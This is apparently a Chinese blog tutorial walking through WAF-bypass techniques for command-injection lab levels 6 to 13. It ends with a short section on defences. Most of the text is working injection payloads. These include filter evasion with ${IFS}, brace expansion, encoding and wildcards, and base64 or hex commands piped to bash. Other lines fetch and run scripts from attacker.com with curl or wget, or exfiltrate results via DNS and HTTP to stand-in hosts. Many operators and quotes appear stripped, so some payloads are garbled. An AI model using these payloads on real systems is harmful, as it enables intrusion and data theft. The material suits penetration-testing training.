ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

WAF绕过实战:从命令分隔符到编码的RCE靶场通关指南

2026/8/10 1:24:13 拓冰建站 浏览量
WAF绕过实战:从命令分隔符到编码的RCE靶场通关指南 1. 项目概述最近在带新人做渗透测试的实战训练发现很多朋友一遇到带WAFWeb应用防火墙的RCE远程代码执行靶场就有点懵。特别是那些关卡设计得比较“刁钻”的靶场比如从Level6到Level13这种难度递进的场景往往不是简单的命令拼接就能搞定的。WAF的规则千奇百怪有的过滤空格有的拦截特定关键字还有的甚至对命令的参数格式都有严格限制。如果你只是死记硬背几个payload换个环境可能就完全失效了。这篇文章我就结合自己这些年“绕”过各种WAF的经验以一套典型的RCE靶场比如网上热门的RCE-labs这类中Level 6到Level 13的关卡为蓝本手把手带你拆解那些“奇葩”的过滤规则并构建一套通用的绕过思路。无论你是正在打CTF的选手还是想提升实战能力的安服仔相信这套从原理到实操的完整心法都能让你在面对真实世界的WAF时多几分从容。2. 靶场环境与WAF规则深度解析在开始实操之前我们必须先理解靶场中WAF的工作原理。这里的WAF通常不是指商业级的硬件或云WAF而是靶场作者在应用层模拟的、基于正则表达式或字符串匹配的过滤逻辑。它的核心目的不是绝对安全而是教学——让你理解攻击者是如何思考并绕过防御的。2.1 常见WAF拦截逻辑分类靶场中的WAF规则大体可以归为以下几类理解它们是绕过的第一步关键字黑名单这是最常见也是最基础的。WAF会维护一个敏感词列表如cat、flag、ls、;、、|等。一旦在用户输入中发现这些词请求就会被阻断。特殊字符过滤重点拦截命令连接符和参数分隔符。例如过滤空格或空格编码、制表符、分号;、管道符|、逻辑运算符、||、反引号以及重定向符号、等。没有这些“胶水”命令就很难拼接起来。命令长度或结构限制限制单次输入的长度或者要求命令必须以某种特定格式出现例如不允许出现连续的字母组合可能被识别为命令。参数格式过滤对命令参数的格式进行校验。例如只允许参数以-开头或者对参数中的点号.、斜杠/进行限制这常用于防止路径遍历。Level 6到Level 13的难度爬升往往就是这些过滤规则的叠加和组合。比如Level 6可能只过滤了cat和空格到了Level 13可能cat、flag、空格、$、{、}都在黑名单里。2.2 靶场代码逻辑模拟要绕过就得先知道它怎么防。假设靶场后端是一段简单的PHP代码它可能长这样?php $input $_GET[cmd]; $blacklist [cat, flag, ls, ;, , |, ]; foreach ($blacklist as $badword) { if (stripos($input, $badword) ! false) { die(WAF Blocked!); } } // 同时过滤空格 $input str_replace( , , $input); // 执行命令 system($input); ?这是一个非常初级的例子但很多靶场的初级关卡就是基于此。我们的任务就是构造一个能通过这些检查但最终能执行cat /flag的payload。注意真实靶场的过滤逻辑会更复杂可能使用preg_match进行正则匹配或者进行递归过滤、大小写转换后再过滤等。我们的思路是动态测试先提交一个简单payload看拦截什么再针对性变形。3. 核心绕过技法从替换到创造当直接的道路被封锁我们就需要寻找小径、甚至自己造路。下面这些技法就是我们的“开山斧”。3.1 命令分隔符的替代方案如果分号;被过滤了我们还能用什么来执行多条命令利用换行符在Linux Shell中换行符URL编码为%0a同样具有命令分隔的功能。Payloadcmd1%0acmd2。利用逻辑运算符前一条命令执行成功返回值为0才执行后一条。cmd1cmd2。||前一条命令执行失败返回值非0才执行后一条。cmd1||cmd2。将前一条命令放入后台执行然后立即执行下一条。cmd1cmd2。注意这可能导致命令输出顺序混乱。利用花括号{}{ cmd1; cmd2; }。花括号内的命令被视为一个命令块块内可以用分号分隔。需要确保花括号与命令间有空格如果空格被过滤这是个问题。实操心得在测试时优先尝试%0a和||。因为依赖于前序命令成功如果cmd1是whoami这类通常成功的命令还好如果是cat /not_exist就会导致后续命令不执行。而||则可以利用一个必定失败的命令开头比如non_exist_command || cat /flag。3.2 空格过滤的绕过艺术空格是参数分隔的关键但它的替代品非常多$IFS这是Linux Shell中默认的内部字段分隔符通常就是空格、制表符、换行符。直接使用${IFS}可以完美替代空格。Payloadcat${IFS}/flag。或重定向符号在某些上下文中它们可以起到分隔作用但更常用于文件操作。例如cat/flag是有效的。制表符在URL中编码为%09。Payloadcat%09/flag。但有些WAF也会拦截%09。花括号扩展Bash的特性{cat,/flag}在展开后就是cat /flag中间自动产生了空格。这是绕过空格过滤的大杀器且经常被初学者忽略。利用变量X$ 定义一个包含空格的变量然后使用cat$X/flag。但注意$ 这种写法本身可能被过滤。避坑指南$IFS和${IFS}在大多数情况下等价但有些极其严格的过滤可能只拦截其中一种。如果${IFS}被拦截可以尝试$IFS或者利用截断$IFS被过滤了IFS这个词那就用变量拼接aIFS; cat${a}/flag。3.3 关键字黑名单的花式绕过这是最体现“骚操作”的部分核心思想是让同一个命令以WAF不认识的样子传进去但被Bash解析时又能恢复原样。变量拼接将命令拆分成多个部分赋值给变量再组合执行。ac;bat;c/fl;dag;$a$b $c$d通配符?和*用于匹配文件名或命令路径。如果cat被过滤可以尝试利用绝对路径/bin/cat /flag。如果/bin/cat也被部分匹配过滤试试通配符/bin/ca? /flag或/bin/ca* /flag。如果当前目录下恰好有其他可执行文件的名字里有cat也可能被*匹配到但这需要运气。引号分割单引号和双引号可以包裹字符串同时也能用来分割关键字。cat /flagcat /flagc\at /flag反斜杠转义这些方法能绕过简单的字符串匹配因为WAF看到的可能是c、a、t三个不连续的片段。利用$或$*在未传递参数时它们扩展为空。可以插入到命令中c$at /flagBash解析后变成cat /flag。编码与解码Base64echo Y2F0IC9mbGFn | base64 -d | bash。这条命令先解码Y2F0IC9mbGFn即cat /flag的base64编码然后通过管道传给bash执行。这能绕过几乎所有基于明文关键字的过滤。Hex编码echo 636174202f666c6167 | xxd -r -p | bash。其中636174202f666c6167是cat /flag的十六进制表示。利用命令替换反引号和$()可以执行子命令并将其输出作为参数。如果它们没被过滤可以玩出花cat echo /flag或cat $(echo /flag)。甚至可以嵌套c$(echo a)t /fl$(echo ag)。高级技巧递归过滤的对抗。有些靶场会循环过滤直到输入中不再包含黑名单词。对付这种可以用嵌套的方式让第一次过滤后产生第二次过滤的目标词。例如过滤cat我们可以提交ca\t\t是字面量如果WAF只是简单删除cat字符串那么删除后剩下的a\t可能就不是威胁了。但更高级的玩法是假设WAF会把cat替换为空我们可以构造ccatcat中间部分cat被删除后剩下的c和at连起来正好又是cat。这就需要你对靶场的过滤逻辑有精准的猜测。4. 实战闯关Level 6 到 Level 13 逐层击破下面我们模拟一个典型的关卡进阶并给出绕过思路。假设每个Level都在前一个的基础上增加了过滤规则。4.1 Level 6初识过滤基础关键字空格假设规则过滤了cat和空格。绕过思路命令替换用tac、more、less、head、tail等替代cat。空格替换使用${IFS}。Payloadtac${IFS}/flag或more${IFS}/flag。测试过程先提交cat /flag确认被拦截。然后提交cat${IFS}/flag如果还被拦截说明cat被过滤。换tac再试。4.2 Level 7加强过滤更多命令分隔符新增规则在Level 6基础上增加了tac、more、less、head、tail等常见文件读取命令并过滤了$和{、}防止使用${IFS}。绕过思路寻找更冷门的文件读取命令nl、od、xxd、base64、strings、file -f利用报错信息、diff通过文件对比侧信道等。使用其他空格替代品制表符%09或花括号扩展。Payloadnl%09/flag{nl,/flag}花括号扩展自动生成空格echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d|bash如果$没被过滤且base64和bash可用4.3 Level 8路径与特殊字符限制新增规则过滤了/防止直接读取根目录文件和flag这个关键词。可能还过滤了.。绕过思路绕过/使用${HOME:0:1}来得到/。${HOME}变量是用户家目录如/root取第一个字符就是/。或者用cd ..多次回退到根目录再用相对路径。绕过flag使用通配符*或?。假设flag文件在当前目录或已知目录。组合Payloadcat ${HOME:0:1}fla?或cat ${HOME:0:1}fla*。如果当前目录就是根目录可以直接cat fla*。4.4 Level 9命令分隔符的消失新增规则过滤了所有常见的命令分隔符和连接符;、、|、、||、反引号、$()。绕过思路单命令完成所有操作。这关通常考验你对Linux命令参数灵活性的掌握。使用sed或awk直接处理文件sed -n 1p /flag打印第一行。但sed和awk本身可能被过滤。使用find的-exec参数find / -name *flag* -exec cat {} \;。但这里出现了;如果被过滤就不行。可以用-exec cat {} 替代但语义略有不同。最佳答案利用grep的.通配和-o参数。grep -o .* /flag。.匹配任意字符-o只输出匹配的部分匹配整个文件就能输出全部内容。这个payload通常能绕过绝大多数分隔符过滤因为它就是一个简单的命令。4.5 Level 10长度限制与无回显(Blind)入门新增规则输入长度被限制在10个字符以内。并且命令执行后结果不直接显示在页面上无回显。绕过思路长度限制10个字符很难做复杂操作。思路是写文件或外带数据。无回显需要将结果发送到我们能接收到的地方。经典Payloadx。创建一个空文件x。然后我们可以分多次操作比如用echo追加内容但echo也超过长度了试试用printf命令的短格式或者利用Shell通配符和重定向的巧妙组合。更常见的解法是利用curl或wget外带但10个字符连curl http:都不够。终极解法DNS外带。这是短字符限制下的王牌。ping -c 1 $(whoami).attacker.dnslog.cn。这个payload可能超过10字符但可以极度精简ping $X.attacker.dnslog.cn前提是$X是一个环境变量或者能通过极短命令输出结果。在真实靶场中可能会提供一个超短域名服务。其原理是命令执行的结果作为子域名的一部分会向我们的DNS服务器发起解析请求我们从DNS日志中就能看到结果。4.6 Level 11综合过滤与编码绕过新增规则综合了之前的多重过滤并且开始过滤base64、bash、sh等关键词。绕过思路寻找替代的解释器除了bash、sh还有zsh、dash、ksh甚至可以用python、perl、php来执行系统命令。Payloadpython -c import os; os.system(cat /flag)。如果python也被过滤尝试使用绝对路径/usr/bin/python或者用通配符/usr/bin/pytho?。编码绕过的替代如果base64被过滤用xxd做十六进制编解码echo 636174202f666c6167 | xxd -r -p | bash。或者用openssl enc等其他工具。4.7 Level 12正则表达式与递归过滤新增规则使用正则表达式进行匹配如/cat|flag|bash|sh|python/i并且可能进行递归过滤多次匹配直到没有黑名单词。绕过思路对抗正则正则匹配通常是一次性的。可以利用换行符%0a分割命令和参数有时能绕过单行正则匹配。或者使用反斜杠\分割命令如c\at /fl\ag但要注意Bash解析时反斜杠是转义需要确保它被正确传递。对抗递归过滤如前所述使用“嵌套”或“自生成”的技巧。例如提交cat如果过滤逻辑是删除cat字符串那么删除cat后剩下无害。但更稳妥的方法是使用变量和替换。例如先定义一个变量acat然后执行$a /flag。因为过滤是在变量展开之前还是之后进行结果截然不同。如果过滤在变量展开前它看到的是$a不在黑名单如果过滤在变量展开后那么cat已经出现可能被拦截。这需要测试。4.8 Level 13终极挑战——高度定制化WAF场景描述这一关的WAF规则可能是前面所有规则的集合并且更加智能。它可能不仅匹配关键字还尝试理解命令的语义简单的语法分析。例如它会判断一个字符串是否构成了一个“可执行的命令参数”的结构。绕过思路这时需要跳出常规思维。利用环境变量$PATH、$SHELL、$PWD等。$SHELL通常指向/bin/bash可以$SHELL -c command。利用通配符展开文件内容如果flag文件内容很短且已知可以尝试用*通配符来“匹配”它这通常不现实。但有一个技巧printf %s /f*会打印匹配/f*的文件名如果只有一个/flag就能看到。但这需要输出在页面上。利用命令替换生成payload如果反引号和$()被过滤可以尝试用echo $\x63\x61\x74\x20\x2f\x66\x6c\x61\x67 | bash。这里使用了Bash的$...字符串展开里面是十六进制编码的cat /flag。终极武器外部资源加载如果服务器能出网这是最强大的方式。在自己的VPS上放置一个包含恶意命令的脚本如curl http://attacker.com/shell.sh | bash然后在靶场执行一个极短的下载并执行的命令。甚至可以利用wget的-O-参数直接执行wget -qO- http://attacker.com/payload.sh | bash。如果wget和curl被过滤试试lynx、fetch、python的urllib、php的file_get_contents等。5. 工具辅助与自动化测试思路手动构造和测试payload效率低下尤其是在面对复杂过滤时。掌握一些半自动化的方法能极大提升效率。5.1 使用Burp Suite Intruder进行模糊测试定位过滤点先发送一个正常请求如cmdls用Burp抓包。使用Intruder将可能被过滤的关键词如cat、 、;、/设置为Payload位置。配置Payloads准备两份列表一份是“测试词”如cat,ls,;,,|,$IFS,{,}等。另一份是“绕过词”如tac,nl,%0a,%26%26,%7c,${IFS},%09,{,}等。进行Cluster Bomb攻击对多个Payload位置同时进行组合测试观察哪些请求返回了非拦截的响应可能是200 OK但内容不同也可能是500错误从而推断出过滤规则。5.2 编写简易测试脚本对于固定的靶场可以写一个Python脚本自动遍历常见的绕过payload。import requests import urllib.parse base_url http://target.com/level.php param cmd # 基础命令和绕过字典 base_cmd cat /flag bypass_techniques { space: [${IFS}, %09, {,}], # 空格绕过 cat: [tac, more, less, nl, head -1, tail -1], # 命令替换 slash: [${HOME:0:1}] # 斜杠绕过 } # 简单的组合测试这里只是示例实际需要更智能的组合 test_payloads [] for space in bypass_techniques[space]: for cmd in bypass_techniques[cat]: # 替换命令和空格 payload cmd.replace( , space) space /flag test_payloads.append(payload) # 尝试用变量拼接cat payload fac;bat;$a$b{space}/flag test_payloads.append(payload) for payload in test_payloads: encoded_payload urllib.parse.quote(payload) url f{base_url}?{param}{encoded_payload} try: resp requests.get(url, timeout3) print(fPayload: {payload[:50]}... | Status: {resp.status_code} | Length: {len(resp.text)}) # 可以根据响应内容进一步判断比如是否包含flag的特定格式 if flag{ in resp.text: print(f[] SUCCESS! Payload: {payload}) break except Exception as e: print(f[-] Error with {payload}: {e})这个脚本非常基础真实环境需要更复杂的逻辑来处理递归过滤、编码、以及无回显场景的判断如时间盲注、DNS外带。5.3 无回显场景的判断技巧当命令执行后页面没有变化时如何判断命令是否执行成功时间盲注使用sleep命令。cmdwhoami sleep 5。如果页面响应延迟了5秒说明whoami执行成功返回0触发了sleep。可以结合||来判断命令失败。DNS外带如前所述使用ping、nslookup或curl访问一个包含子域名的URL将命令结果带出。你需要一个能接收DNS查询日志的平台如dnslog.cn、ceye.io或自建的DNS服务器。HTTP外带使用curl或wget访问一个由你控制的Web服务器并将命令结果作为URL参数或请求头带出。例如curl http://attacker.com/$(whoami)。在攻击机的Web日志中就能看到访问记录。6. 防御视角与总结作为攻击者我们研究绕过作为防御者我们则要思考如何构建更坚固的防线。从这些绕过手法中我们可以总结出防御RCE的一些核心原则输入校验白名单化与其拦截黑名单永远防不全不如只允许预期的、安全的字符和格式。例如如果参数预期是数字就只允许数字。最小权限原则运行Web服务的进程如www-data用户权限应尽可能低不能执行敏感命令或写入关键目录。禁用危险函数在PHP中禁用system()、exec()、shell_exec()、passthru()、popen()、proc_open()等函数。在Java、Python等语言中避免使用Runtime.exec()、os.system()、subprocess.call()等。使用安全的API如果必须执行系统命令使用参数化列表形式如Python的subprocess.run([ls, -la])而非字符串形式subprocess.run(ls -la, shellTrue)避免Shell解析。部署成熟的WAF虽然靶场WAF能被绕过但商业WAF如ModSecurity、云WAF具备更复杂的语义分析、机器学习模型和规则库能有效拦截大部分自动化攻击和已知绕过手法。纵深防御WAF只是边界防护内部还需要有主机安全防护HIDS、日志审计、定期漏洞扫描、代码安全审计等多层防护。绕WAF的本质是一场“猫鼠游戏”。攻击技术在进化防御技术也在升级。作为安全从业者深入理解双方的原理才能更好地完成攻击测试或构建防御体系。这套从Level 6到Level 13的闯关经历其实就是一个完整的思维训练从简单的替换到复杂的编码和逻辑构造最后到利用系统特性创造新的攻击路径。希望你在下次遇到“奇葩”WAF时能想起这些思路从容地找到那条隐藏的通道。